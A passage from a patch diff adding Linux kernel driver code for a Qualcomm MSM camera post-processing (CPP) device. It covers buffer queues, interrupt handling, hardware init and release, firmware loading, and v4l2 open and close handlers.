list_add_tail(&buff->entry, buff_head); + + return buff->map_info.phy_addr; + +QUEUE_BUFF_ERROR2: + ion_free(cpp_dev->client, buff->map_info.ion_handle); +QUEUE_BUFF_ERROR1: + buff->map_info.ion_handle = NULL; + kzfree(buff); + + return 0; +} + +static void msm_cpp_dequeue_buffer_info(struct cpp_device *cpp_dev, + struct msm_cpp_buffer_map_list_t *buff) +{ + + ion_unmap_iommu(cpp_dev->client, buff->map_info.ion_handle, + cpp_dev->domain_num, 0); + ion_free(cpp_dev->client, buff->map_info.ion_handle); + buff->map_info.ion_handle = NULL; + + list_del_init(&buff->entry); + kzfree(buff); + + return; +} + +static unsigned long msm_cpp_fetch_buffer_info(struct cpp_device *cpp_dev, + struct msm_cpp_buffer_info_t *buffer_info, uint32_t session_id, + uint32_t stream_id, int *fd) +{ + unsigned long phy_addr = 0; + struct msm_cpp_buff_queue_info_t *buff_queue_info; + uint8_t native_buff = buffer_info->native_buff; + + buff_queue_info = msm_cpp_get_buff_queue_entry(cpp_dev, session_id, + stream_id); + if (buff_queue_info == NULL) { + pr_err("error finding buffer queue entry for sessid:%d strmid:%d\n", + session_id, stream_id); + return phy_addr; + } + + phy_addr = msm_cpp_get_phy_addr(cpp_dev, buff_queue_info, + buffer_info->index, native_buff, fd); + if ((phy_addr == 0) && (native_buff)) { + phy_addr = msm_cpp_queue_buffer_info(cpp_dev, buff_queue_info, + buffer_info); + *fd = buffer_info->fd; + } + return phy_addr; +} + +static int32_t msm_cpp_enqueue_buff_info_list(struct cpp_device *cpp_dev, + struct msm_cpp_stream_buff_info_t *stream_buff_info) +{ + uint32_t j; + struct msm_cpp_buff_queue_info_t *buff_queue_info; + + buff_queue_info = msm_cpp_get_buff_queue_entry(cpp_dev, + (stream_buff_info->identity >> 16) & 0xFFFF, + stream_buff_info->identity & 0xFFFF); + if (buff_queue_info == NULL) { + pr_err("error finding buffer queue entry for sessid:%d strmid:%d\n", + (stream_buff_info->identity >> 16) & 0xFFFF, + stream_buff_info->identity & 0xFFFF); + return -EINVAL; + } + + for (j = 0; j < stream_buff_info->num_buffs; j++) { + msm_cpp_queue_buffer_info(cpp_dev, buff_queue_info, + &stream_buff_info->buffer_info[j]); + } + return 0; +} + +static int32_t msm_cpp_dequeue_buff_info_list(struct cpp_device *cpp_dev, + struct msm_cpp_buff_queue_info_t *buff_queue_info) +{ + struct msm_cpp_buffer_map_list_t *buff, *save; + struct list_head *buff_head; + + buff_head = &buff_queue_info->native_buff_head; + list_for_each_entry_safe(buff, save, buff_head, entry) { + msm_cpp_dequeue_buffer_info(cpp_dev, buff); + } + + buff_head = &buff_queue_info->vb2_buff_head; + list_for_each_entry_safe(buff, save, buff_head, entry) { + msm_cpp_dequeue_buffer_info(cpp_dev, buff); + } + + return 0; +} + +static int32_t msm_cpp_add_buff_queue_entry(struct cpp_device *cpp_dev, + uint16_t session_id, uint16_t stream_id) +{ + uint32_t i; + struct msm_cpp_buff_queue_info_t *buff_queue_info; + + for (i = 0; i < cpp_dev->num_buffq; i++) { + if (cpp_dev->buff_queue[i].used == 0) { + buff_queue_info = &cpp_dev->buff_queue[i]; + buff_queue_info->used = 1; + buff_queue_info->session_id = session_id; + buff_queue_info->stream_id = stream_id; + INIT_LIST_HEAD(&buff_queue_info->vb2_buff_head); + INIT_LIST_HEAD(&buff_queue_info->native_buff_head); + return 0; + } + } + pr_err("buffer queue full. error for sessionid: %d streamid: %d\n", + session_id, stream_id); + return -EINVAL; +} + +static int32_t msm_cpp_free_buff_queue_entry(struct cpp_device *cpp_dev, + uint32_t session_id, uint32_t stream_id) +{ + struct msm_cpp_buff_queue_info_t *buff_queue_info; + + buff_queue_info = msm_cpp_get_buff_queue_entry(cpp_dev, session_id, + stream_id); + if (buff_queue_info == NULL) { + pr_err("error finding buffer queue entry for sessid:%d strmid:%d\n", + session_id, stream_id); + return -EINVAL; + } + + buff_queue_info->used = 0; + buff_queue_info->session_id = 0; + buff_queue_info->stream_id = 0; + INIT_LIST_HEAD(&buff_queue_info->vb2_buff_head); + INIT_LIST_HEAD(&buff_queue_info->native_buff_head); + return 0; +} + +static int32_t msm_cpp_create_buff_queue(struct cpp_device *cpp_dev, + uint32_t num_buffq) +{ + struct msm_cpp_buff_queue_info_t *buff_queue; + buff_queue = kzalloc( + sizeof(struct msm_cpp_buff_queue_info_t) * num_buffq, + GFP_KERNEL); + if (!buff_queue) { + pr_err("Buff queue allocation failure\n"); + return -ENOMEM; + } + + if (cpp_dev->buff_queue) { + pr_err("Buff queue not empty\n"); + kzfree(buff_queue); + return -EINVAL; + } else { + cpp_dev->buff_queue = buff_queue; + cpp_dev->num_buffq = num_buffq; + } + return 0; +} + +static void msm_cpp_delete_buff_queue(struct cpp_device *cpp_dev) +{ + uint32_t i; + + for (i = 0; i < cpp_dev->num_buffq; i++) { + if (cpp_dev->buff_queue[i].used == 1) { + pr_err("Queue not free sessionid: %d, streamid: %d\n", + cpp_dev->buff_queue[i].session_id, + cpp_dev->buff_queue[i].stream_id); + msm_cpp_dequeue_buff_info_list + (cpp_dev, &cpp_dev->buff_queue[i]); + msm_cpp_free_buff_queue_entry(cpp_dev, + cpp_dev->buff_queue[i].session_id, + cpp_dev->buff_queue[i].stream_id); + } + } + kzfree(cpp_dev->buff_queue); + cpp_dev->buff_queue = NULL; + cpp_dev->num_buffq = 0; + return; +} + +static void msm_cpp_poll(void __iomem *cpp_base, u32 val) +{ + uint32_t tmp, retry = 0; + do { + usleep_range(1000, 2000); + tmp = msm_cpp_read(cpp_base); + if (tmp != 0xDEADBEEF) + CPP_LOW("poll: 0%x\n", tmp); + } while ((tmp != val) && (retry++ < MSM_CPP_POLL_RETRIES)); + if (retry < MSM_CPP_POLL_RETRIES) + CPP_LOW("Poll finished\n"); + else + pr_err("Poll failed: expect: 0x%x\n", val); +} + +static void msm_cpp_poll_rx_empty(void __iomem *cpp_base) +{ + uint32_t tmp, retry = 0; + + tmp = msm_camera_io_r(cpp_base + MSM_CPP_MICRO_FIFO_RX_STAT); + while (((tmp & 0x2) != 0x0) && (retry++ < MSM_CPP_POLL_RETRIES)) { + /*Below usleep values are chosen based on experiments + and this was the smallest number which works. This + sleep is needed to leave enough time for Microcontroller + to read rx fifo.*/ + usleep_range(200, 300); + tmp = msm_camera_io_r(cpp_base + MSM_CPP_MICRO_FIFO_RX_STAT); + } + + if (retry < MSM_CPP_POLL_RETRIES) + CPP_LOW("Poll rx empty\n"); + else + pr_err("Poll rx empty failed\n"); +} + +void cpp_release_ion_client(struct kref *ref) +{ + struct cpp_device *cpp_dev = container_of(ref, + struct cpp_device, refcount); + pr_err("Calling ion_client_destroy\n"); + ion_client_destroy(cpp_dev->client); +} + +static int cpp_init_mem(struct cpp_device *cpp_dev) +{ + int rc = 0; + + kref_init(&cpp_dev->refcount); + kref_get(&cpp_dev->refcount); + cpp_dev->client = msm_ion_client_create(-1, "cpp"); + + CPP_DBG("E\n"); + if (!cpp_dev->domain) { + pr_err("domain / iommu context not found\n"); + return -ENODEV; + } + + CPP_DBG("X\n"); + return rc; +} + +static void cpp_deinit_mem(struct cpp_device *cpp_dev) +{ + CPP_DBG("E\n"); + kref_put(&cpp_dev->refcount, cpp_release_ion_client); + CPP_DBG("X\n"); +} + +static irqreturn_t msm_cpp_irq(int irq_num, void *data) +{ + unsigned long flags; + uint32_t tx_level; + uint32_t irq_status; + uint32_t i; + uint32_t tx_fifo[MSM_CPP_TX_FIFO_LEVEL]; + struct cpp_device *cpp_dev = data; + struct msm_cpp_tasklet_queue_cmd *queue_cmd; + irq_status = msm_camera_io_r(cpp_dev->base + MSM_CPP_MICRO_IRQGEN_STAT); + CPP_DBG("status: 0x%x\n", irq_status); + if (irq_status & 0x8) { + tx_level = msm_camera_io_r(cpp_dev->base + + MSM_CPP_MICRO_FIFO_TX_STAT) >> 2; + for (i = 0; i < tx_level; i++) { + tx_fifo[i] = msm_camera_io_r(cpp_dev->base + + MSM_CPP_MICRO_FIFO_TX_DATA); + } + spin_lock_irqsave(&cpp_dev->tasklet_lock, flags); + queue_cmd = &cpp_dev->tasklet_queue_cmd[cpp_dev->taskletq_idx]; + if (queue_cmd->cmd_used) { + pr_err("%s: cpp tasklet queue overflow\n", __func__); + list_del(&queue_cmd->list); + } else { + atomic_add(1, &cpp_dev->irq_cnt); + } + queue_cmd->irq_status = irq_status; + queue_cmd->tx_level = tx_level; + memset(&queue_cmd->tx_fifo[0], 0, sizeof(queue_cmd->tx_fifo)); + for (i = 0; i < tx_level; i++) + queue_cmd->tx_fifo[i] = tx_fifo[i]; + + queue_cmd->cmd_used = 1; + cpp_dev->taskletq_idx = + (cpp_dev->taskletq_idx + 1) % MSM_CPP_TASKLETQ_SIZE; + list_add_tail(&queue_cmd->list, &cpp_dev->tasklet_q); + spin_unlock_irqrestore(&cpp_dev->tasklet_lock, flags); + + tasklet_schedule(&cpp_dev->cpp_tasklet); + } else if (irq_status & 0x7C0) { + pr_err("%s: fatal error: 0x%x\n", __func__, irq_status); + pr_err("%s: DEBUG_SP: 0x%x\n", __func__, + msm_camera_io_r(cpp_dev->cpp_hw_base + 0x40)); + pr_err("%s: DEBUG_T: 0x%x\n", __func__, + msm_camera_io_r(cpp_dev->cpp_hw_base + 0x44)); + pr_err("%s: DEBUG_N: 0x%x\n", __func__, + msm_camera_io_r(cpp_dev->cpp_hw_base + 0x48)); + pr_err("%s: DEBUG_R: 0x%x\n", __func__, + msm_camera_io_r(cpp_dev->cpp_hw_base + 0x4C)); + pr_err("%s: DEBUG_OPPC: 0x%x\n", __func__, + msm_camera_io_r(cpp_dev->cpp_hw_base + 0x50)); + pr_err("%s: DEBUG_MO: 0x%x\n", __func__, + msm_camera_io_r(cpp_dev->cpp_hw_base + 0x54)); + pr_err("%s: DEBUG_TIMER0: 0x%x\n", __func__, + msm_camera_io_r(cpp_dev->cpp_hw_base + 0x60)); + pr_err("%s: DEBUG_TIMER1: 0x%x\n", __func__, + msm_camera_io_r(cpp_dev->cpp_hw_base + 0x64)); + pr_err("%s: DEBUG_GPI: 0x%x\n", __func__, + msm_camera_io_r(cpp_dev->cpp_hw_base + 0x70)); + pr_err("%s: DEBUG_GPO: 0x%x\n", __func__, + msm_camera_io_r(cpp_dev->cpp_hw_base + 0x74)); + pr_err("%s: DEBUG_T0: 0x%x\n", __func__, + msm_camera_io_r(cpp_dev->cpp_hw_base + 0x80)); + pr_err("%s: DEBUG_R0: 0x%x\n", __func__, + msm_camera_io_r(cpp_dev->cpp_hw_base + 0x84)); + pr_err("%s: DEBUG_T1: 0x%x\n", __func__, + msm_camera_io_r(cpp_dev->cpp_hw_base + 0x88)); + pr_err("%s: DEBUG_R1: 0x%x\n", __func__, + msm_camera_io_r(cpp_dev->cpp_hw_base + 0x8C)); + } + msm_camera_io_w(irq_status, cpp_dev->base + MSM_CPP_MICRO_IRQGEN_CLR); + return IRQ_HANDLED; +} + +void msm_cpp_do_tasklet(unsigned long data) +{ + unsigned long flags; + uint32_t irq_status; + uint32_t tx_level; + uint32_t msg_id, cmd_len; + uint32_t i; + uint32_t tx_fifo[MSM_CPP_TX_FIFO_LEVEL]; + struct cpp_device *cpp_dev = (struct cpp_device *) data; + struct msm_cpp_tasklet_queue_cmd *queue_cmd; + + while (atomic_read(&cpp_dev->irq_cnt)) { + spin_lock_irqsave(&cpp_dev->tasklet_lock, flags); + queue_cmd = list_first_entry(&cpp_dev->tasklet_q, + struct msm_cpp_tasklet_queue_cmd, list); + if (!queue_cmd) { + atomic_set(&cpp_dev->irq_cnt, 0); + spin_unlock_irqrestore(&cpp_dev->tasklet_lock, flags); + return; + } + atomic_sub(1, &cpp_dev->irq_cnt); + list_del(&queue_cmd->list); + queue_cmd->cmd_used = 0; + irq_status = queue_cmd->irq_status; + tx_level = queue_cmd->tx_level; + for (i = 0; i < tx_level; i++) + tx_fifo[i] = queue_cmd->tx_fifo[i]; + + spin_unlock_irqrestore(&cpp_dev->tasklet_lock, flags); + + for (i = 0; i < tx_level; i++) { + if (tx_fifo[i] == MSM_CPP_MSG_ID_CMD) { + cmd_len = tx_fifo[i+1]; + msg_id = tx_fifo[i+2]; + if (msg_id == MSM_CPP_MSG_ID_FRAME_ACK) { + CPP_DBG("Frame done!!\n"); + /* delete CPP timer */ + CPP_DBG("delete timer.\n"); + msm_cpp_clear_timer(cpp_dev); + msm_cpp_notify_frame_done(cpp_dev); + } else if (msg_id == + MSM_CPP_MSG_ID_FRAME_NACK) { + pr_err("NACK error from hw!!\n"); + CPP_DBG("delete timer.\n"); + msm_cpp_clear_timer(cpp_dev); + msm_cpp_notify_frame_done(cpp_dev); + } + i += cmd_len + 2; + } + } + } +} +static void cpp_get_clk_freq_tbl(struct clk *clk, struct cpp_hw_info *hw_info) +{ + uint32_t count; + signed long freq_tbl_entry = 0; + + if ((clk == NULL) || (hw_info == NULL) || (clk->ops == NULL) || + (clk->ops->list_rate == NULL)) { + pr_err("Bad parameter\n"); + return; + } + + for (count = 0; count < MAX_FREQ_TBL; count++) { + freq_tbl_entry = clk->ops->list_rate(clk, count); + if (freq_tbl_entry >= 0) + hw_info->freq_tbl[count] = freq_tbl_entry; + else + break; + } + + hw_info->freq_tbl_count = count; +} + +static int cpp_init_hardware(struct cpp_device *cpp_dev) +{ + int rc = 0; + rc = msm_isp_init_bandwidth_mgr(ISP_CPP); + if (rc < 0) { + pr_err("%s: Bandwidth registration Failed!\n", __func__); + goto bus_scale_register_failed; + } + + if (cpp_dev->fs_cpp == NULL) { + cpp_dev->fs_cpp = + regulator_get(&cpp_dev->pdev->dev, "vdd"); + if (IS_ERR(cpp_dev->fs_cpp)) { + pr_err("Regulator cpp vdd get failed %ld\n", + PTR_ERR(cpp_dev->fs_cpp)); + cpp_dev->fs_cpp = NULL; + goto fs_failed; + } else if (regulator_enable(cpp_dev->fs_cpp)) { + pr_err("Regulator cpp vdd enable failed\n"); + regulator_put(cpp_dev->fs_cpp); + cpp_dev->fs_cpp = NULL; + goto fs_failed; + } + } + + if (cpp_dev->hw_info.cpp_hw_version != CPP_HW_VERSION_4_0_0) { + cpp_dev->cpp_clk[MSM_MICRO_IFACE_CLK_IDX] = + clk_get(&cpp_dev->pdev->dev, + cpp_clk_info[MSM_MICRO_IFACE_CLK_IDX].clk_name); + if (IS_ERR(cpp_dev->cpp_clk[MSM_MICRO_IFACE_CLK_IDX])) { + pr_err("%s get failed\n", + cpp_clk_info[MSM_MICRO_IFACE_CLK_IDX].clk_name); + rc = + PTR_ERR(cpp_dev->cpp_clk[MSM_MICRO_IFACE_CLK_IDX]); + goto remap_failed; + } + + rc = clk_reset(cpp_dev->cpp_clk[MSM_MICRO_IFACE_CLK_IDX], + CLK_RESET_ASSERT); + if (rc) { + pr_err("%s:micro_iface_clk assert failed\n", + __func__); + clk_put(cpp_dev->cpp_clk[MSM_MICRO_IFACE_CLK_IDX]); + goto remap_failed; + } + /*Below usleep values are chosen based on experiments + and this was the smallest number which works. This + sleep is needed to leave enough time for Microcontroller + to resets all its registers.*/ + usleep_range(10000, 12000); + + rc = clk_reset(cpp_dev->cpp_clk[MSM_MICRO_IFACE_CLK_IDX], + CLK_RESET_DEASSERT); + if (rc) { + pr_err("%s:micro_iface_clk assert failed\n", __func__); + clk_put(cpp_dev->cpp_clk[MSM_MICRO_IFACE_CLK_IDX]); + goto remap_failed; + } + /*Below usleep values are chosen based on experiments and + this was the smallest number which works. This sleep is + needed to leave enough time for Microcontroller to + resets all its registers.*/ + usleep_range(1000, 1200); + + clk_put(cpp_dev->cpp_clk[MSM_MICRO_IFACE_CLK_IDX]); + } + + rc = msm_cam_clk_enable(&cpp_dev->pdev->dev, cpp_clk_info, + cpp_dev->cpp_clk, cpp_dev->num_clk, 1); + if (rc < 0) { + pr_err("clk enable failed\n"); + goto clk_failed; + } + + cpp_dev->base = ioremap(cpp_dev->mem->start, + resource_size(cpp_dev->mem)); + if (!cpp_dev->base) { + rc = -ENOMEM; + pr_err("ioremap failed\n"); + goto remap_failed; + } + + cpp_dev->vbif_base = ioremap(cpp_dev->vbif_mem->start, + resource_size(cpp_dev->vbif_mem)); + if (!cpp_dev->vbif_base) { + rc = -ENOMEM; + pr_err("ioremap failed\n"); + goto vbif_remap_failed; + } + + cpp_dev->cpp_hw_base = ioremap(cpp_dev->cpp_hw_mem->start, + resource_size(cpp_dev->cpp_hw_mem)); + if (!cpp_dev->cpp_hw_base) { + rc = -ENOMEM; + pr_err("ioremap failed\n"); + goto cpp_hw_remap_failed; + } + + if (cpp_dev->state != CPP_STATE_BOOT) { + rc = request_irq(cpp_dev->irq->start, msm_cpp_irq, + IRQF_TRIGGER_RISING, "cpp", cpp_dev); + if (rc < 0) { + pr_err("irq request fail\n"); + goto req_irq_fail; + } + cpp_dev->buf_mgr_subdev = msm_buf_mngr_get_subdev(); + + rc = msm_cpp_buffer_ops(cpp_dev, + VIDIOC_MSM_BUF_MNGR_INIT, NULL); + if (rc < 0) { + pr_err("buf mngr init failed\n"); + free_irq(cpp_dev->irq->start, cpp_dev); + goto req_irq_fail; + } + } + + cpp_dev->hw_info.cpp_hw_version = + msm_camera_io_r(cpp_dev->cpp_hw_base); + pr_info("CPP HW Version: 0x%x\n", cpp_dev->hw_info.cpp_hw_version); + cpp_dev->hw_info.cpp_hw_caps = + msm_camera_io_r(cpp_dev->cpp_hw_base + 0x4); + cpp_get_clk_freq_tbl(cpp_dev->cpp_clk[MSM_CPP_CORE_CLK_IDX], + &cpp_dev->hw_info); + pr_debug("CPP HW Caps: 0x%x\n", cpp_dev->hw_info.cpp_hw_caps); + msm_camera_io_w(0x1, cpp_dev->vbif_base + 0x4); + cpp_dev->taskletq_idx = 0; + atomic_set(&cpp_dev->irq_cnt, 0); + msm_cpp_create_buff_queue(cpp_dev, MSM_CPP_MAX_BUFF_QUEUE); + pr_err("stream_cnt:%d\n", cpp_dev->stream_cnt); + cpp_dev->stream_cnt = 0; + if (cpp_dev->hw_info.cpp_hw_version != CPP_HW_VERSION_4_0_0) { + if (cpp_dev->is_firmware_loaded == 1) { + disable_irq(cpp_dev->irq->start); + cpp_load_fw(cpp_dev, cpp_dev->fw_name_bin); + enable_irq(cpp_dev->irq->start); + msm_camera_io_w_mb(0x7C8, cpp_dev->base + + MSM_CPP_MICRO_IRQGEN_MASK); + msm_camera_io_w_mb(0xFFFF, cpp_dev->base + + MSM_CPP_MICRO_IRQGEN_CLR); + } + } else { + msm_camera_io_w(0x1, + cpp_dev->base + MSM_CPP_MICRO_CLKEN_CTL); + msm_camera_io_w_mb(0x7C8, + cpp_dev->base + MSM_CPP_MICRO_IRQGEN_MASK); + msm_camera_io_w_mb(0xFFFF, + cpp_dev->base + MSM_CPP_MICRO_IRQGEN_CLR); + } + return rc; +req_irq_fail: + iounmap(cpp_dev->cpp_hw_base); +cpp_hw_remap_failed: + iounmap(cpp_dev->vbif_base); +vbif_remap_failed: + iounmap(cpp_dev->base); +remap_failed: + msm_cam_clk_enable(&cpp_dev->pdev->dev, cpp_clk_info, + cpp_dev->cpp_clk, cpp_dev->num_clk, 0); +clk_failed: + regulator_disable(cpp_dev->fs_cpp); + regulator_put(cpp_dev->fs_cpp); +fs_failed: + msm_isp_deinit_bandwidth_mgr(ISP_CPP); +bus_scale_register_failed: + return rc; +} + +static void cpp_release_hardware(struct cpp_device *cpp_dev) +{ + int32_t rc; + if (cpp_dev->state != CPP_STATE_BOOT) { + rc = msm_cpp_buffer_ops(cpp_dev, + VIDIOC_MSM_BUF_MNGR_DEINIT, NULL); + if (rc < 0) { + pr_err("error in buf mngr deinit\n"); + rc = -EINVAL; + } + free_irq(cpp_dev->irq->start, cpp_dev); + tasklet_kill(&cpp_dev->cpp_tasklet); + atomic_set(&cpp_dev->irq_cnt, 0); + } + msm_cpp_delete_buff_queue(cpp_dev); + iounmap(cpp_dev->base); + iounmap(cpp_dev->vbif_base); + iounmap(cpp_dev->cpp_hw_base); + msm_cam_clk_enable(&cpp_dev->pdev->dev, cpp_clk_info, + cpp_dev->cpp_clk, cpp_dev->num_clk, 0); + regulator_disable(cpp_dev->fs_cpp); + regulator_put(cpp_dev->fs_cpp); + cpp_dev->fs_cpp = NULL; + if (cpp_dev->stream_cnt > 0) { + pr_err("error: stream count active\n"); + msm_isp_update_bandwidth(ISP_CPP, 0, 0); + } + cpp_dev->stream_cnt = 0; + msm_isp_deinit_bandwidth_mgr(ISP_CPP); +} + +static void cpp_load_fw(struct cpp_device *cpp_dev, char *fw_name_bin) +{ + uint32_t i; + uint32_t *ptr_bin = NULL; + int32_t rc = -EFAULT; + const struct firmware *fw = NULL; + struct device *dev = &cpp_dev->pdev->dev; + + msm_camera_io_w(0x1, cpp_dev->base + MSM_CPP_MICRO_CLKEN_CTL); + msm_camera_io_w(0x1, cpp_dev->base + + MSM_CPP_MICRO_BOOT_START); + msm_cpp_poll(cpp_dev->base, MSM_CPP_MSG_ID_CMD); + + if (fw_name_bin) { + pr_debug("%s: FW file: %s\n", __func__, fw_name_bin); + rc = request_firmware(&fw, fw_name_bin, dev); + if (rc) { + dev_err(dev, + "Fail to loc blob %s from dev %p, Error: %d\n", + fw_name_bin, dev, rc); + } + if (NULL != fw) + ptr_bin = (uint32_t *)fw->data; + + msm_camera_io_w(0x1, cpp_dev->base + + MSM_CPP_MICRO_BOOT_START); + msm_cpp_poll(cpp_dev->base, MSM_CPP_MSG_ID_CMD); + msm_camera_io_w(0xFFFFFFFF, cpp_dev->base + + MSM_CPP_MICRO_IRQGEN_CLR); + + /*Start firmware loading*/ + msm_cpp_write(MSM_CPP_CMD_FW_LOAD, cpp_dev->base); + if (fw) + msm_cpp_write(fw->size, cpp_dev->base); + else + msm_cpp_write(MSM_CPP_END_ADDRESS, cpp_dev->base); + msm_cpp_write(MSM_CPP_START_ADDRESS, cpp_dev->base); + + if (ptr_bin) { + msm_cpp_poll_rx_empty(cpp_dev->base); + for (i = 0; i < fw->size/4; i++) { + msm_cpp_write(*ptr_bin, cpp_dev->base); + if (i % MSM_CPP_RX_FIFO_LEVEL == 0) + msm_cpp_poll_rx_empty(cpp_dev->base); + ptr_bin++; + } + } + if (fw) + release_firmware(fw); + msm_camera_io_w_mb(0x00, cpp_dev->cpp_hw_base + 0xC); + msm_cpp_poll(cpp_dev->base, MSM_CPP_MSG_ID_OK); + msm_cpp_poll(cpp_dev->base, MSM_CPP_MSG_ID_CMD); + } + + /*Trigger MC to jump to start address*/ + msm_cpp_write(MSM_CPP_CMD_EXEC_JUMP, cpp_dev->base); + msm_cpp_write(MSM_CPP_JUMP_ADDRESS, cpp_dev->base); + + msm_cpp_poll(cpp_dev->base, MSM_CPP_MSG_ID_CMD); + msm_cpp_poll(cpp_dev->base, 0x1); + msm_cpp_poll(cpp_dev->base, MSM_CPP_MSG_ID_JUMP_ACK); + msm_cpp_poll(cpp_dev->base, MSM_CPP_MSG_ID_TRAILER); + + /*Get Bootloader Version*/ + msm_cpp_write(MSM_CPP_CMD_GET_BOOTLOADER_VER, cpp_dev->base); + pr_info("MC Bootloader Version: 0x%x\n", + msm_cpp_read(cpp_dev->base)); + + /*Get Firmware Version*/ + msm_cpp_write(MSM_CPP_CMD_GET_FW_VER, cpp_dev->base); + msm_cpp_write(MSM_CPP_MSG_ID_CMD, cpp_dev->base); + msm_cpp_write(0x1, cpp_dev->base); + msm_cpp_write(MSM_CPP_CMD_GET_FW_VER, cpp_dev->base); + msm_cpp_write(MSM_CPP_MSG_ID_TRAILER, cpp_dev->base); + + msm_cpp_poll(cpp_dev->base, MSM_CPP_MSG_ID_CMD); + msm_cpp_poll(cpp_dev->base, 0x2); + msm_cpp_poll(cpp_dev->base, MSM_CPP_MSG_ID_FW_VER); + cpp_dev->fw_version = msm_cpp_read(cpp_dev->base); + pr_info("CPP FW Version: 0x%08x\n", cpp_dev->fw_version); + msm_cpp_poll(cpp_dev->base, MSM_CPP_MSG_ID_TRAILER); + + /*Disable MC clock*/ + /*msm_camera_io_w(0x0, cpp_dev->base + + MSM_CPP_MICRO_CLKEN_CTL);*/ +} + +static int cpp_open_node(struct v4l2_subdev *sd, struct v4l2_subdev_fh *fh) +{ + int rc; + uint32_t i; + struct cpp_device *cpp_dev = v4l2_get_subdevdata(sd); + CPP_DBG("E\n"); + + mutex_lock(&cpp_dev->mutex); + if (cpp_dev->cpp_open_cnt == MAX_ACTIVE_CPP_INSTANCE) { + pr_err("No free CPP instance\n"); + mutex_unlock(&cpp_dev->mutex); + return -ENODEV; + } + + for (i = 0; i < MAX_ACTIVE_CPP_INSTANCE; i++) { + if (cpp_dev->cpp_subscribe_list[i].active == 0) { + cpp_dev->cpp_subscribe_list[i].active = 1; + cpp_dev->cpp_subscribe_list[i].vfh = &fh->vfh; + break; + } + } + if (i == MAX_ACTIVE_CPP_INSTANCE) { + pr_err("No free instance\n"); + mutex_unlock(&cpp_dev->mutex); + return -ENODEV; + } + + CPP_DBG("open %d %p\n", i, &fh->vfh); + cpp_dev->cpp_open_cnt++; + if (cpp_dev->cpp_open_cnt == 1) { + rc = cpp_init_hardware(cpp_dev); + if (rc < 0) { + cpp_dev->cpp_open_cnt--; + cpp_dev->cpp_subscribe_list[i].active = 0; + cpp_dev->cpp_subscribe_list[i].vfh = NULL; + mutex_unlock(&cpp_dev->mutex); + return rc; + } + + cpp_init_mem(cpp_dev); + cpp_dev->state = CPP_STATE_IDLE; + } + mutex_unlock(&cpp_dev->mutex); + return 0; +} + +static int cpp_close_node(struct v4l2_subdev *sd, struct v4l2_subdev_fh *fh) +{ + uint32_t i; + struct cpp_device *cpp_dev = v4l2_get_subdevdata(sd); + struct msm_device_queue *processing_q = NULL; + struct msm_device_queue *eventData_q = NULL; + + if (!cpp_dev) { + pr_err("failed: cpp_dev %p\n", cpp_dev); + return -EINVAL; + } + + mutex_lock(&cpp_dev->mutex); + + processing_q = &cpp_dev->processing_q; + eventData_q = &cpp_dev->eventData_q; + + if (cpp_dev->cpp_open_cnt == 0) { + mutex_unlock(&cpp_dev->mutex); + return 0; + } + + for (i = 0; i < MAX_ACTIVE_CPP_INSTANCE; i++) { + if (cpp_dev->cpp_subscribe_list[i].active == 1) { + cpp_dev->cpp_subscribe_list[i].active = 0; + cpp_dev->cpp_subscribe_list[i].vfh = NULL; + break; + } + } + if (i == MAX_ACTIVE_CPP_INSTANCE) { + pr_err("Invalid close\n"); + mutex_unlock(&cpp_dev->mutex); + return -ENODEV; + } + + cpp_dev->cpp_open_cnt--; + if (cpp_dev->cpp_open_cnt == 0) { + pr_debug("irq_status: 0x%x\n", + msm_camera_io_r(cpp_dev->cpp_hw_base + 0x4)); + pr_debug("DEBUG_SP: 0x%x\n", + msm_camera_io_r(cpp_dev->cpp_hw_base + 0x40)); + pr_debug("DEBUG_T: 0x%x\n", + msm_camera_io_r(cpp_dev->cpp_hw_base + 0x44)); + pr_debug("DEBUG_N: 0x%x\n", + msm_camera_io_r(cpp_dev->cpp_hw_base + 0x48)); + pr_debug("DEBUG_R: 0x%x\n", + msm_camera_io_r(cpp_dev->cpp_hw_base + 0x4C)); + pr_debug("DEBUG_OPPC: 0x%x\n", + msm_camera_io_r(cpp_dev->cpp_hw_base + 0x50)); + pr_debug("DEBUG_MO: 0x%x\n", + msm_camera_io_r(cpp_dev->cpp_hw_base + 0x54)); + pr_debug("DEBUG_TIMER0: 0x%x\n", + msm_camera_io_r(cpp_dev->cpp_hw_base + 0x60)); + pr_debug("DEBUG_TIMER1: 0x%x\n", + msm_camera_io_r(cpp_dev->cpp_hw_base + 0x64)); + pr_debug("DEBUG_GPI: 0x%x\n", + msm_camera_io_r(cpp_dev->cpp_hw_base + 0x70)); + pr_debug("DEBUG_GPO: 0x%x\n", + msm_camera_io_r(cpp_dev->cpp_hw_base + 0x74)); + pr_debug("DEBUG_T0: 0x%x\n", + msm_camera_io_r(cpp_dev->cpp_hw_base + 0x80)); + pr_debug("DEBUG_R0: 0x%x\n", + msm_camera_io_r(cpp_dev->cpp_hw_base + 0x84)); + pr_debug("DEBUG_T1: 0x%x\n", + msm_camera_io_r(cpp_dev->cpp_hw_base + 0x88)); + pr_debug("DEBUG_R1: 0x%x\n", + msm_camera_io_r(cpp_dev->cpp_hw_base + 0x8C)); + msm_camera_io_w(0x0, cpp_dev->base + MSM_CPP_MICRO_CLKEN_CTL); + msm_cpp_clear_timer(cpp_dev); + cpp_deinit_mem(cpp_dev); + if (cpp_dev->iommu_state == CPP_IOMMU_STATE_ATTACHED) { + iommu_detach_device(cpp_dev->domain, + cpp_dev->iommu_ctx); + cpp_dev->iommu_state = CPP_IOMMU_STATE_DETACHED; + } + cpp_release_hardware(cpp_dev); + msm_cpp_empty_list(processing_q, list_frame); + msm_cpp_empty_list(eventData_q, list_eventdata); + cpp_dev->state = CPP_STATE_OFF; + } + + mutex_unlock(&cpp_dev->mutex); + return 0; +} + +static const struct v4l2_subdev_internal_ops msm_cpp_internal_ops = { + .open = cpp_open_node, + .close = cpp_close_node, +}; + +static int msm_cpp_buffer_ops(struct cpp_device *cpp_dev, + uint32_t buff_mgr_ops, struct msm_buf_mngr_info *buff_mgr_info) +{ + int rc = -EINVAL; + + rc = v4l2_subdev_call(cpp_dev->buf_mgr_subdev, core, ioctl, + buff_mgr_ops, buff_mgr_info); + if (rc < 0) + pr_debug("%s: line %d rc = %d\n", __func__, __LINE__, rc); + return rc; +} + +static int msm_cpp_notify_frame_done(struct cpp_device *cpp_dev) +{ + struct v4l2_event v4l2_evt; + struct msm_queue_cmd *frame_qcmd = NULL; + struct msm_queue_cmd *event_qcmd = NULL; + struct msm_cpp_frame_info_t *processed_frame = NULL; + struct msm_device_queue *queue = &cpp_dev->processing_q; + struct msm_buf_mngr_info buff_mgr_info; + int rc = 0; + + frame_qcmd 